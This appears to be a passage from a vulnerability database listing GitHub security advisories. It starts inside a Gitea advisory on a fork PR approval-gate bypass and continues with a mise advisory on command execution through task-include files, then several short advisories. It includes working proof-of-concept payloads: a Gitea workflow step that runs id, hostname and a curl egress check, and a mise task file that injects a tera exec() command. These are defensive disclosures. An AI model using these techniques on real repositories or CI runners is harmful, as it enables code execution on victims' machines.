a user triggers actions and **never again**. |\n| The unit of trust is the work being approved (the PR, or the commit). | The unit of trust is the user\u0027s identity, scoped to the repository. |\n\nThe query at line 424 does not include `PullRequestID`, `Ref`, `CommitSHA`, or any time predicate. The `action_run` row\u0027s `Ref` and `CommitSHA` fields are not consulted. Once `approved_by \u003e 0` appears on any historical row for `(repo_id, trigger_user_id)`, the gate is monotonically skipped forever.\n\nConcretely, the divergence is observable across these scenarios:\n\n| Scenario | Intended | Implemented |\n|----------|----------|-------------|\n| Same PR, new commit on the same branch | Re-run uses existing approval (PR-scoped) | Auto-approved (user-scoped) \u2713 |\n| Same PR, force-push that replaces the workflow file | Re-approval requested | Auto-approved \u2717 |\n| Brand-new PR from same user, different workflow | Approval requested | **Auto-approved** \u2717 \u2014 *the vulnerability* |\n| New PR from same user months later | Approval requested | Auto-approved \u2717 |\n| Hundred PRs from same user in parallel | Only the first is the gate check; subsequent depend on policy | Only the very first ever needs approval \u2717 |\n\nFor comparison, GitHub Actions\u0027 first-time-contributor gate persists *until a PR is merged*, not until a PR is approved-to-run; GitHub additionally supports per-PR re-approval as a separate setting. The Gitea code path does neither.\n\nA secondary contributor is the coarse semantics of `FindRunOptions.Approved`: a single boolean (`approved_by \u003e 0`) with no per-PR/per-commit predicate available. The fix therefore needs both a call-site change and a query-options extension.\n\n---\n\n## 5. Impact\n\n| Dimension | Detail |\n|-----------|--------|\n| **Arbitrary code execution on the runner** | Attacker controls `run:` blocks dispatched to the project\u0027s CI compute, with whatever ambient privileges the runner has (shell, network, filesystem). Verified end-to-end above. |\n| **Source code disclosure** | The runner clones the base repository read-only. A malicious workflow can exfiltrate it via any outbound channel \u2014 material confidentiality breach if the repo is private. |\n| **Actions cache poisoning** | Actions cache entries are keyed and shared across branches/refs within a repo. A poisoned cache is restored into trusted (non-fork) runs that subsequently execute on the base branch \u2014 **escaping the fork sandbox transitively**, and at that point with full secret access. |\n| **Artifact poisoning** | Workflow artifacts can be downloaded by other runs, including base-branch deploy workflows. |\n| **Runner host compromise** | If the runner is long-lived (not ephemeral) or shares state across jobs (filesystem leftovers, mounted Docker socket, sudoers entry for the runner user), the attacker can plant persistence. |\n| **Network pivoting** | Many self-hosted runners live inside corporate networks with reach to internal services that would otherwise be unreachable from the public internet. |\n| **Resource abuse** | Cryptomining, denial-of-service of the CI infrastructure, bandwidth abuse. |\n| **No audit signal** | The bypassed run row has `approved_by = 0` and `need_approval = false` \u2014 **schema-indistinguishable** from a legitimate trusted-user run. There is no log line, no webhook event, no UI banner stating that the approval gate was *skipped* (only that it wasn\u0027t needed). |\n| **Scope** | Every repository that accepts fork pull requests **and** has Actions enabled. Public OSS projects are most exposed because anyone can open a PR. Internal corporate repos that accept fork PRs from contractors / interns / outside collaborators are equally exposed once a single such PR has been approved historically. |\n| **Defense-in-depth bypass** | The approval gate is the *only* line of defense between untrusted PR YAML and CI execution on regular `pull_request` events. Remaining mitigations \u2014 per-fork-PR `GITEA_TOKEN` scoping (`models/actions/token_permissions.go:54-57`) and secret omission (`models/secret/secret.go:160-165`) \u2014 reduce blast radius but do not prevent code execution. |\n\n---\n\n## 6. Manual reproduction (web UI only, ~10 minutes)\n\nThis procedure uses only the Gitea web interface \u2014 no `curl`, no `git` CLI, no API tokens. It is intended for the maintainer security team to verify the vulnerability on a fresh instance.\n\n### Prerequisites\n\n1. A Gitea instance with **Actions enabled** (`[actions] ENABLED = true` in `app.ini`).\n2. One Actions runner registered and online with the `ubuntu-latest` label (optional \u2014 see note at the end of this section).\n3. Two user accounts:\n   - **`maintainer`** \u2014 will own the target repository.\n   - **`attacker`** \u2014 any unprivileged second account; registered through normal sign-up; no special privileges required.\n4. Two browser sessions: a normal window for `maintainer`, and a private/incognito window for `attacker`. Do not flip between them in the same window.\n\n### Phase 1 \u2014 `maintainer` creates the target repository\n\n1. Log into Gitea as `maintainer`.\n2. Top-right `+` \u2192 **New Repository**.\n3. Owner = `maintainer`, Name = `gate-bypass-poc`, Visibility = Public, \u2611 **Initialize Repository**, Default Branch = `main`. Click **Create Repository**.\n4. On the repo home, click the **+** icon in the file tree \u2192 **New File**.\n5. In the path field type:\n   ```\n   .gitea/workflows/ci.yml\n   ```\n6. Paste the following into the editor \u2014 **`name:` must be at column 0 with no leading whitespace**:\n   ```yaml\n   name: CI\n   on: [pull_request]\n   jobs:\n     test:\n       runs-on: [ubuntu-latest]\n       steps:\n         - name: hello\n           run: echo \"hello from gate-bypass-poc baseline\"\n   ```\n7. Scroll down \u2192 **Commit directly to `main`** \u2192 **Commit Changes**.\n\n### Phase 2 \u2014 `attacker` forks the repository\n\n1. Switch to the `attacker` window. Log in.\n2. Navigate to `\u2026/maintainer/gate-bypass-poc`.\n3. Click **Fork** (top-right). Accept defaults (owner = `attacker`). Click **Fork Repository**.\n\n### Phase 3 \u2014 `attacker` opens a benign PR (PR #1)\n\n1. On `\u2026/attacker/gate-bypass-poc`, click `README.md` \u2192 pencil icon to edit.\n2. Add any innocuous line (e.g. `Small typo fix.`).\n3. Scroll down \u2192 select **Create a new branch for this commit and start a pull request** \u2192 branch name `benign-typo`. Click **Propose File Change**.\n4. On the pre-filled \"Open a new pull request\" form, leave defaults and click **Create Pull Request**.\n5. You should land on `\u2026/maintainer/gate-bypass-poc/pulls/1`.\n\n### Phase 4 \u2014 `maintainer` approves the first run (the one-time trust event)\n\n1. Switch to the `maintainer` window. Open `\u2026/maintainer/gate-bypass-poc/pulls/1`.\n2. Scroll to the status checks section. You will see the yellow banner:\n   \u003e **Workflow runs from fork pull requests need approval to run** [ **Approve and run workflows** ]\n3. **Before clicking**, open a second tab on `\u2026/maintainer/gate-bypass-poc/actions`. The workflow run \"Small typo fix\" should be displayed with status **Blocked**. This is the gate working *correctly* for a first-time contributor.\n4. Return to the PR tab. Click **Approve and run workflows**. The banner disappears; the run transitions to **Waiting** \u2192 **Running** \u2192 **Success** (or stays at Waiting if no runner is online \u2014 irrelevant for the bypass demonstration).\n\n### Phase 5 \u2014 `attacker` opens a second PR (PR #2) with a malicious workflow change\n\n1. Switch back to the `attacker` window.\n2. On `\u2026/attacker/gate-bypass-poc`, navigate to `.gitea/workflows/ci.yml` via the file tree. Click the pencil icon to edit.\n3. **Replace the entire file** with the following (`name:` flush left, no leading whitespace anywhere):\n   ```yaml\n   name: CI\n   on: [pull_request]\n   jobs:\n     test:\n       runs-on: [ubuntu-latest]\n       steps:\n         - name: pwn\n           env:\n             BASE_TOKEN: ${{ github.token }}\n           run: |\n             echo \"===== BYPASS DEMO - this workflow ran WITHOUT approval =====\"\n             echo \"running as: $(id 2\u003e/dev/null || echo n/a)\"\n             echo \"hostname:   $(hostname 2\u003e/dev/null || echo n/a)\"\n             echo \"uname:      $(uname -a 2\u003e/dev/null || echo n/a)\"\n             echo \"GITHUB_TOKEN length = ${#BASE_TOKEN}\"\n             curl -fsS --max-time 5 https://example.com/ -o /dev/null -w \"egress HTTP %{http_code}\\n\" || echo \"(no network)\"\n             ls -la\n             echo \"===== END DEMO =====\"\n   ```\n4. Scroll down \u2192 select **Create a new branch for this commit and start a pull request** \u2192 branch name `bypass-payload`. Click **Propose File Change**.\n5. On the pre-filled PR form, click **Create Pull Request**. You should land on `\u2026/maintainer/gate-bypass-poc/pulls/2`.\n\n### Phase 6 \u2014 Observe the bypass\n\nThis is the critical observation.\n\n1. As `maintainer`, open `\u2026/maintainer/gate-bypass-poc/pulls/2`. **Scroll to the status checks section.**\n   - **Expected if the gate worked:** the same yellow \"Workflow runs from fork pull requests need approval to run\" banner as in Phase 4.\n   - **Actual:** **no banner**. The check appears straight away as pending / running / green. No approval has been requested. `maintainer` was not notified.\n2. As `maintainer`, open `\u2026/maintainer/gate-bypass-poc/actions`. The new run for \"Update .gitea/workflows/ci.yml\" is displayed with status **Waiting** / **Running** / **Success** \u2014 **never `Blocked`**.\n3. Click into the run \u2192 `test` job \u2192 `pwn` step. You will see the payload output (`id`, hostname, uname, token length, outbound HTTPS code, file listing) \u2014 the attacker\u0027s code executed end-to-end without your consent.\n\n### Note on the runner\n\nIf no runner is online and registered with the `ubuntu-latest` label, **the bypass is still proven** by step 1 of Phase 6 (no banner) and step 2 (status `Waiting` instead of `Blocked`). The runner only matters for visualising the payload\u0027s output. The status transition `Blocked \u2192 Waiting` for an unapproved second PR is itself the security signal \u2014 a gated run would remain `Blocked` indefinitely and the dispatcher would never look for a runner.\n\n### Note on the YAML formatting\n\nIf you copy the workflow YAML out of this document into the Gitea web editor and inadvertently keep any leading whitespace before `name:`, Gitea will reject the file with `yaml: line 2: mapping values are not allowed in this context`. No `action_run` row is created in that case (the workflow detector silently skips unparseable files), and the bypass will *look* like it didn\u0027t fire when in fact the code path was never reached. **`name:` must sit at column 0.**\n\n---\n\n## 7. Verifying the bypass in the database\n\nOpen a database shell on the Gitea host. The `action_run` table contains the smoking gun.\n\n### SQLite (default)\n\n```bash\nsqlite3 /var/lib/gitea/data/gitea.db\n```\n\n```sql\nSELECT\n  ar.id,\n  ar.trigger_user_id,\n  ar.need_approval,\n  ar.approved_by,\n  CASE ar.status\n    WHEN 1 THEN \u0027Success\u0027 WHEN 2 THEN \u0027Failure\u0027 WHEN 3 THEN \u0027Cancelled\u0027\n    WHEN 4 THEN \u0027Skipped\u0027 WHEN 5 THEN \u0027Waiting\u0027 WHEN 6 THEN \u0027Running\u0027\n    WHEN 7 THEN \u0027Blocked\u0027 ELSE CAST(ar.status AS TEXT) END AS status,\n  ar.ref\nFROM action_run ar\nJOIN repository r ON r.id = ar.repo_id\nWHERE r.owner_name = \u0027maintainer\u0027 AND r.name = \u0027gate-bypass-poc\u0027\nORDER BY ar.id;\n```\n\nExpected output after Phase 6:\n\n```\nid  trigger_user_id  need_approval  approved_by  status   ref\n--  ---------------  -------------  -----------  -------  ----------------\nN   \u003cattacker uid\u003e   0              \u003cmaint uid\u003e  Success  refs/pull/1/head\nN+1 \u003cattacker uid\u003e   0              0            Success  refs/pull/2/head\n```\n\nThe N+1 row demonstrates the bypass: same trigger user, **never approved** (`approved_by = 0`), yet `need_approval = 0` and executed successfully. This row is schema-indistinguishable from a normal trusted-user run; an audit pipeline scanning the table cannot tell the bypass apart from a legitimate write-permission user\u0027s run.\n\n### PostgreSQL / MySQL\n\nThe same query, against `database_name`, with `\\c gitea` / `USE gitea;` first.\n\n---\n\n\n## 9. Suggested fixes\n\nThree options, in order of preference.\n\n### Option A (recommended) \u2014 Scope approval to the commit, not the user\n\nExtend `FindRunOptions` with a `CommitSHA` predicate (it already exists as the field at `models/actions/run_list.go:70`) and reframe the gate check as *\"has the current PR head SHA been approved by this user\"*.\n\n```diff\n--- a/services/actions/notifier_helper.go\n+++ b/services/actions/notifier_helper.go\n@@\n-    // don\u0027t need approval if the user has been approved before\n-    if count, err := db.Count[actions_model.ActionRun](ctx, actions_model.FindRunOptions{\n-        RepoID:        repo.ID,\n-        TriggerUserID: user.ID,\n-        Approved:      true,\n-    }); err != nil {\n-        return false, fmt.Errorf(\"CountRuns: %w\", err)\n-    } else if count \u003e 0 {\n-        return false, nil\n-    }\n+    // don\u0027t need approval if a prior run for this same PR-head commit was approved\n+    if run.CommitSHA != \"\" {\n+        if count, err := db.Count[actions_model.ActionRun](ctx, actions_model.FindRunOptions{\n+            RepoID:        repo.ID,\n+            TriggerUserID: user.ID,\n+            CommitSHA:     run.CommitSHA,\n+            Approved:      true,\n+        }); err != nil {\n+            return false, fmt.Errorf(\"CountRuns: %w\", err)\n+        } else if count \u003e 0 {\n+            return false, nil\n+        }\n+    }\n```\n\nThis preserves the legitimate UX intent (\"don\u0027t re-prompt on the same PR after a transient runner failure causes a re-run\") without granting trust to future PRs or new commits on the same branch. Every new commit on the PR \u2014 including a force-push that replaces the workflow file \u2014 would re-trigger the gate, exactly as a security-sensitive deployment expects.\n\n### Option B (stricter) \u2014 Require a merged contribution, like GitHub\n\nReplace the \"approved before\" branch with \"has this user had a PR merged in this repo before\":\n\n```go\nif merged, err := issues_model.HasUserMergedPullRequestInRepo(ctx, repo.ID, user.ID); err != nil {\n    return false, fmt.Errorf(\"HasUserMergedPullRequestInRepo: %w\", err)\n} else if merged {\n    return false, nil\n}\n```\n\nThis matches the typical OSS-maintainer mental model: a contributor whose PR has been *merged* is trusted enough to run CI without further approval. *Approving a workflow run is not merging code*; the current logic conflates the two.\n\n----",
  "id": "GHSA-777r-4v59-6486",
  "modified": "2026-07-21T20:35:51Z",
  "published": "2026-07-21T20:35:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-777r-4v59-6486"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-58424"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/pull/38010"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/commit/699fe2ef43b9466ac1b0cb857029f91fd5b0056d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/commit/e107498f3b6fccff35455ef17430ca68df665297"
    },
    {
      "type": "WEB",
      "url": "https://blog.gitea.com/release-of-1.26.3-and-1.26.4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-gitea/gitea"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/releases/tag/v1.26.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Gitea: Permanent Fork PR Workflow Approval Gate Bypass"
}

GHSA-77G9-363W-RCCQ

Vulnerability from github – Published: 2026-06-23 18:24 – Updated: 2026-06-23 18:24
VLAI
Summary
Mise vulnerable to arbitrary command execution via task-include files in an untrusted, config-less repository
Details

Summary

mise's trust feature gates config files (mise.toml, .tool-versions) through trust_check, but task-include files are loaded on a path that never reaches it. When a directory has a task-include dir (mise-tasks/, .mise/tasks/, …) but no config file, mise falls back to the default includes and renders each task's tera fields — and that tera environment has exec() registered. A {{ exec(command='…') }} in any rendered field runs arbitrary commands the moment the tasks are merely listed. There's no config file to gate on, so no trust prompt ever appears. Read-only commands trigger it: mise tasks, mise task ls, mise run, mise tasks --usage (the query shell completion runs on Tab). The victim only has to cd into a cloned repo and list or tab-complete a task

Details

Trust is enforced only inside config-file parsing:

  • src/config/config_file/mise_toml.rs:276MiseToml::from_strtrust_check(path)?
  • src/config/config_file/tool_versions.rs:62.tool-versions parser → trust_check(&path)?
  • src/config/env_directive/mod.rs:681 — env templates → trust_check(path)? (only when the value contains template syntax)

Task-include files are loaded by load_tasks_in_dir / load_local_tasks_with_context, which walk every directory from CWD up to root. For each directory, configs_at_root returns the parsed (trusted) configs rooted there; if there is no config in the directory, mise falls back to the default task-include list resolved relative to that directory and loads whatever it finds — with no trust check:

src/config/mod.rs (load_tasks_in_dir, ~2586):

let (includes, resolve_dir) = configs
    .iter()
    .find_map(|cf| match cf.task_config_includes() { … })
    .transpose()?
    .unwrap_or_else(|| (default_task_includes(), dir.to_path_buf())); // no config -> default includes
…
for include in &includes {
    let paths = … expand_task_include(&resolve_dir, include);
    for p in paths {
        let mut loaded = load_tasks_includes(config, &p, dir, &task_config_dir, templates).await?;
        …
    }
}

default_task_includes() (src/config/mod.rs:1825):

vec!["mise-tasks", ".mise-tasks", ".mise/tasks", ".config/mise/tasks", "mise/tasks"]

load_task_file (src/config/mod.rs:2645) reads the TOML directly with no trust check and renders each task:

let raw = file::read_to_string_async(path).await?;
let mut tasks = toml::from_str::<Tasks>(&raw) … ;        // no trust_check
…
resolve_task_template(&mut task, templates)?;
if let Err(err) = task.render(config, &config_root).await { … }  // renders tera, incl. exec()

Task::render (src/task/mod.rs:1475) renders many fields through tera, and the tera instance is built with get_tera(Some(config_root)):

let mut tera = get_tera(Some(config_root));
…
if contains_template_syntax(&self.description) {
    self.description = render_str(&mut tera, &self.description, &tera_ctx)?;
}

get_tera (src/tera.rs:407) registers the command-executing functions:

pub fn get_tera(dir: Option<&Path>) -> Tera {
    let mut tera = TERA.clone();
    let dir = dir.map(PathBuf::from);
    tera.register_function("exec", tera_exec(dir.clone(), env::PRISTINE_ENV.clone()));
    tera.register_function("read_file", tera_read_file(dir));
    tera
}

So a tera {{ exec(command='…') }} placed in any rendered task field (description, dir, shell, sources, aliases, depends, tools, …) of a TOML task file — or in a #MISE description="…" header of an executable script task (Task::from_path) — executes when the task is merely loaded for listing, with no trust prompt. exec() is not gated by experimental (default experimental = false).

Proof of concept

Tested against the prebuilt release binary, mise 2026.6.4 linux-x64, with a pristine HOME so nothing is pre-trusted.

Repo layout :

malicious-repo/
└── mise-tasks/
    └── ci.toml

mise-tasks/ci.toml:

[test]
description = "{{ exec(command='id > /tmp/mise_clone_proof.txt; hostname >> /tmp/mise_clone_proof.txt') }}"
run = "cargo test"

Trigger (any of these; a victim who has mise activate set up hits the last one by just pressing Tab to complete a task name):

export HOME="$(mktemp -d)"          # nothing pre-trusted
export MISE_TRUSTED_CONFIG_PATHS=""
cd malicious-repo
mise tasks            # or: mise task ls / mise run / mise tasks --usage

output:

test

and the side effect :

miau@linux:~$ cat /tmp/mise_clone_proof.txt
uid=1000(miau) gid=1000(miau) groups=1000(miau)…
linux 
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "mise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.6.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55441"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-732",
      "CWE-78",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-23T18:24:08Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nmise\u0027s trust feature gates config files (`mise.toml`, `.tool-versions`) through `trust_check`, but task-include files are loaded on a path that never reaches it. When a directory has a task-include dir (`mise-tasks/`, `.mise/tasks/`, \u2026) but no config file, mise falls back to the default includes and renders each task\u0027s tera fields \u2014 and that tera environment has `exec()` registered. A `{{ exec(command=\u0027\u2026\u0027) }}` in any rendered field runs arbitrary commands the moment the tasks are merely listed. There\u0027s no config file to gate on, so no trust prompt ever appears. Read-only commands trigger it: `mise tasks`, `mise task ls`, `mise run`, `mise tasks --usage` (the query shell completion runs on Tab). The victim only has to `cd` into a cloned repo and list or tab-complete a task\n## Details\n\nTrust is enforced only inside config-file parsing:\n\n- `src/config/config_file/mise_toml.rs:276` \u2014 `MiseToml::from_str` \u2192 `trust_check(path)?`\n- `src/config/config_file/tool_versions.rs:62` \u2014 `.tool-versions` parser \u2192 `trust_check(\u0026path)?`\n- `src/config/env_directive/mod.rs:681` \u2014 env templates \u2192 `trust_check(path)?` (only when the value contains template syntax)\n\nTask-include files are loaded by `load_tasks_in_dir` / `load_local_tasks_with_context`,\nwhich walk every directory from CWD up to root. For each directory, `configs_at_root`\nreturns the parsed (trusted) configs rooted there; **if there is no config in the\ndirectory**, mise falls back to the default task-include list resolved relative to that\ndirectory and loads whatever it finds \u2014 with no trust check:\n\n`src/config/mod.rs` (`load_tasks_in_dir`, ~2586):\n```rust\nlet (includes, resolve_dir) = configs\n    .iter()\n    .find_map(|cf| match cf.task_config_includes() { \u2026 })\n    .transpose()?\n    .unwrap_or_else(|| (default_task_includes(), dir.to_path_buf())); // no config -\u003e default includes\n\u2026\nfor include in \u0026includes {\n    let paths = \u2026 expand_task_include(\u0026resolve_dir, include);\n    for p in paths {\n        let mut loaded = load_tasks_includes(config, \u0026p, dir, \u0026task_config_dir, templates).await?;\n        \u2026\n    }\n}\n```\n\n`default_task_includes()` (`src/config/mod.rs:1825`):\n```rust\nvec![\"mise-tasks\", \".mise-tasks\", \".mise/tasks\", \".config/mise/tasks\", \"mise/tasks\"]\n```\n\n`load_task_file` (`src/config/mod.rs:2645`) reads the TOML directly with no trust check\nand renders each task:\n```rust\nlet raw = file::read_to_string_async(path).await?;\nlet mut tasks = toml::from_str::\u003cTasks\u003e(\u0026raw) \u2026 ;        // no trust_check\n\u2026\nresolve_task_template(\u0026mut task, templates)?;\nif let Err(err) = task.render(config, \u0026config_root).await { \u2026 }  // renders tera, incl. exec()\n```\n\n`Task::render` (`src/task/mod.rs:1475`) renders many fields through tera, and the tera\ninstance is built with `get_tera(Some(config_root))`:\n```rust\nlet mut tera = get_tera(Some(config_root));\n\u2026\nif contains_template_syntax(\u0026self.description) {\n    self.description = render_str(\u0026mut tera, \u0026self.description, \u0026tera_ctx)?;\n}\n```\n\n`get_tera` (`src/tera.rs:407`) registers the command-executing functions:\n```rust\npub fn get_tera(dir: Option\u003c\u0026Path\u003e) -\u003e Tera {\n    let mut tera = TERA.clone();\n    let dir = dir.map(PathBuf::from);\n    tera.register_function(\"exec\", tera_exec(dir.clone(), env::PRISTINE_ENV.clone()));\n    tera.register_function(\"read_file\", tera_read_file(dir));\n    tera\n}\n```\n\nSo a tera `{{ exec(command=\u0027\u2026\u0027) }}` placed in any rendered task field\n(`description`, `dir`, `shell`, `sources`, `aliases`, `depends`, `tools`, \u2026) of a TOML\ntask file \u2014 or in a `#MISE description=\"\u2026\"` header of an executable script task\n(`Task::from_path`) \u2014 executes when the task is merely *loaded for listing*, with no\ntrust prompt. `exec()` is not gated by `experimental` (default `experimental = false`).\n\n## Proof of concept\n\nTested against the prebuilt release binary, `mise 2026.6.4 linux-x64`, with a\npristine `HOME` so nothing is pre-trusted.\n\nRepo layout :\n```\nmalicious-repo/\n\u2514\u2500\u2500 mise-tasks/\n    \u2514\u2500\u2500 ci.toml\n```\n\n`mise-tasks/ci.toml`:\n```toml\n[test]\ndescription = \"{{ exec(command=\u0027id \u003e /tmp/mise_clone_proof.txt; hostname \u003e\u003e /tmp/mise_clone_proof.txt\u0027) }}\"\nrun = \"cargo test\"\n```\n\nTrigger (any of these; a victim who has `mise activate` set up hits the last one by just\npressing Tab to complete a task name):\n```bash\nexport HOME=\"$(mktemp -d)\"          # nothing pre-trusted\nexport MISE_TRUSTED_CONFIG_PATHS=\"\"\ncd malicious-repo\nmise tasks            # or: mise task ls / mise run / mise tasks --usage\n```\n\noutput:\n```\ntest\n```\nand the side effect :\n```\nmiau@linux:~$ cat /tmp/mise_clone_proof.txt\nuid=1000(miau) gid=1000(miau) groups=1000(miau)\u2026\nlinux \n```",
  "id": "GHSA-77g9-363w-rccq",
  "modified": "2026-06-23T18:24:08Z",
  "published": "2026-06-23T18:24:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jdx/mise/security/advisories/GHSA-77g9-363w-rccq"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jdx/mise"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mise vulnerable to arbitrary command execution via task-include files in an untrusted, config-less repository"
}

GHSA-77JX-PQH8-P2WH

Vulnerability from github – Published: 2024-10-26 09:30 – Updated: 2024-10-26 09:30
VLAI
Details

NVIDIA vGPU software contains a vulnerability in the Virtual GPU Manager that allows a user of the guest OS to access global resources. A successful exploit of this vulnerability might lead to information disclosure, data tampering, and escalation of privileges.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-0128"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-732"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-26T09:15:03Z",
    "severity": "HIGH"
  },
  "details": "NVIDIA vGPU software contains a vulnerability in the Virtual GPU Manager that allows a user of the guest OS to access global resources. A successful exploit of this vulnerability might lead to information disclosure, data tampering, and escalation of privileges.",
  "id": "GHSA-77jx-pqh8-p2wh",
  "modified": "2024-10-26T09:30:43Z",
  "published": "2024-10-26T09:30:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-0128"
    },
    {
      "type": "WEB",
      "url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5586"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-78GW-PGQH-JC7G

Vulnerability from github – Published: 2026-01-21 18:30 – Updated: 2026-01-21 18:30
VLAI
Details

A vulnerability in the read-only maintenance shell of Cisco Intersight Virtual Appliance could allow an authenticated, local attacker with administrative privileges to elevate privileges to root on the virtual appliance.

This vulnerability is due to improper file permissions on configuration files for system accounts within the maintenance shell of the virtual appliance. An attacker could exploit this vulnerability by accessing the maintenance shell as a read-only administrator and manipulating system files to grant root privileges. A successful exploit could allow the attacker to elevate their privileges to root on the virtual appliance and gain full control of the appliance, giving them the ability to access sensitive information, modify workloads and configurations on the host system, and cause a denial of service (DoS).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-20092"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-732"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-21T17:16:08Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability in the read-only maintenance shell of Cisco Intersight Virtual Appliance could allow an authenticated, local attacker with administrative privileges to elevate privileges to root on the virtual appliance.\n\nThis vulnerability is due to improper file permissions on configuration files for system accounts within the maintenance shell of the virtual appliance. An attacker could exploit this vulnerability by accessing the maintenance shell as a read-only administrator and manipulating system files to grant root privileges. A successful exploit could allow the attacker to elevate their privileges to\u0026nbsp;root on the virtual appliance and gain full control of the appliance, giving them the ability to access sensitive information, modify workloads and configurations on the host system, and cause a denial of service (DoS).",
  "id": "GHSA-78gw-pgqh-jc7g",
  "modified": "2026-01-21T18:30:30Z",
  "published": "2026-01-21T18:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-20092"
    },
    {
      "type": "WEB",
      "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-intersight-privesc-p6tBm6jk"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7925-2P2W-MGXJ

Vulnerability from github – Published: 2022-05-13 01:48 – Updated: 2022-05-13 01:48
VLAI
Details

PureVPN 6.0.1 for Windows suffers from a SYSTEM privilege escalation vulnerability in its "sevpnclient" service. When configured to use the OpenVPN protocol, the "sevpnclient" service executes "openvpn.exe" using the OpenVPN config file located at %PROGRAMDATA%\purevpn\config\config.ovpn. This file allows "Write" permissions to users in the "Everyone" group. An authenticated attacker may modify this file to specify a dynamic library plugin that should run for every new VPN connection attempt. This plugin will execute code in the context of the SYSTEM account.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-10204"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-732"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-04-18T21:29:00Z",
    "severity": "HIGH"
  },
  "details": "PureVPN 6.0.1 for Windows suffers from a SYSTEM privilege escalation vulnerability in its \"sevpnclient\" service. When configured to use the OpenVPN protocol, the \"sevpnclient\" service executes \"openvpn.exe\" using the OpenVPN config file located at %PROGRAMDATA%\\purevpn\\config\\config.ovpn. This file allows \"Write\" permissions to users in the \"Everyone\" group. An authenticated attacker may modify this file to specify a dynamic library plugin that should run for every new VPN connection attempt. This plugin will execute code in the context of the SYSTEM account.",
  "id": "GHSA-7925-2p2w-mgxj",
  "modified": "2022-05-13T01:48:44Z",
  "published": "2022-05-13T01:48:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-10204"
    },
    {
      "type": "WEB",
      "url": "https://github.com/VerSprite/research/blob/master/advisories/VS-2018-021.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-795Q-5PHH-5PCQ

Vulnerability from github – Published: 2022-05-13 01:44 – Updated: 2022-05-13 01:44
VLAI
Details

Cybozu Office 10.0.0 to 10.5.0 allows remote authenticated attackers to bypass access restriction to obtain "customapp" information via unspecified vectors.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-2115"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-732"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-04-28T16:59:00Z",
    "severity": "MODERATE"
  },
  "details": "Cybozu Office 10.0.0 to 10.5.0 allows remote authenticated attackers to bypass access restriction to obtain \"customapp\" information via unspecified vectors.",
  "id": "GHSA-795q-5phh-5pcq",
  "modified": "2022-05-13T01:44:42Z",
  "published": "2022-05-13T01:44:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-2115"
    },
    {
      "type": "WEB",
      "url": "https://support.cybozu.com/ja-jp/article/9737"
    },
    {
      "type": "WEB",
      "url": "http://jvn.jp/en/jp/JVN17535578/index.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/97717"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

